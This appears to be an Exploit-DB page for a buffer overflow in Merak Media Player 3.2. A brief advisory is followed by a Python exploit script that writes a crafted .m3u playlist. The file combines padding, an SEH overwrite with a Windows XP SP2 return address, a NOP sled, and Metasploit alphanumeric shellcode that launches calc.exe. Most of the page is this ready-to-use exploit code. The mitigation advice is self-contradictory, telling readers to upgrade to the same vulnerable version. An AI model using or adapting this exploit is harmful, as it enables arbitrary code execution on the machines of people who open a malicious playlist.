Merak Media Player 3.2 Buffer Overflow Exploit(SEH)

Merak Media Player 3.2 is vulnerable to a buffer overflow vulnerability due to improper bounds checking of user-supplied data. An attacker can exploit this vulnerability by sending a specially crafted request containing an overly long string of data to the vulnerable application. This can result in arbitrary code execution in the context of the application.

Mitigation:

Upgrade to the latest version of Merak Media Player 3.2 or later.

Source

Exploit-DB raw data:

#exploit.py
#
# Merak Media Player 3.2 Buffer Overflow Exploit(SEH)
# By:Encrypt3d.M!nd
#    m1nd3d.wordpress.com
#
# Orginal Advisory:
# http://www.milw0rm.com/exploits/7857
######################################################
# Nothing Intersting in this exploit,too easy
# just improving my SEH exploitation Skills :p
#

ns = "\xEB\x06\x90\x90"

sh = "\x35\x2F\xD1\x72" # msacm32.drv ..windows xp sp2

chars = "A" * 74

nops = "\x90" * 20


# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum
http://metasploit.com

shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x33\x4b\x48\x4e\x37"
"\x45\x30\x4a\x57\x41\x50\x4f\x4e\x4b\x48\x4f\x54\x4a\x31\x4b\x48"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x38"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x50\x45\x37\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x48\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"
"\x41\x50\x4b\x4e\x49\x58\x4e\x45\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x37\x4e\x51\x4d\x4a"
"\x4b\x58\x4a\x46\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x58\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x47"
"\x42\x35\x4a\x56\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x39"
"\x50\x4f\x4c\x48\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x36"
"\x4e\x46\x43\x56\x50\x42\x45\x36\x4a\x37\x45\x36\x42\x30\x5a")


file=open('geek.m3u','w')
file.write(chars+ns+sh+nops+shellcode)
file.close()

# milw0rm.com [2009-03-02]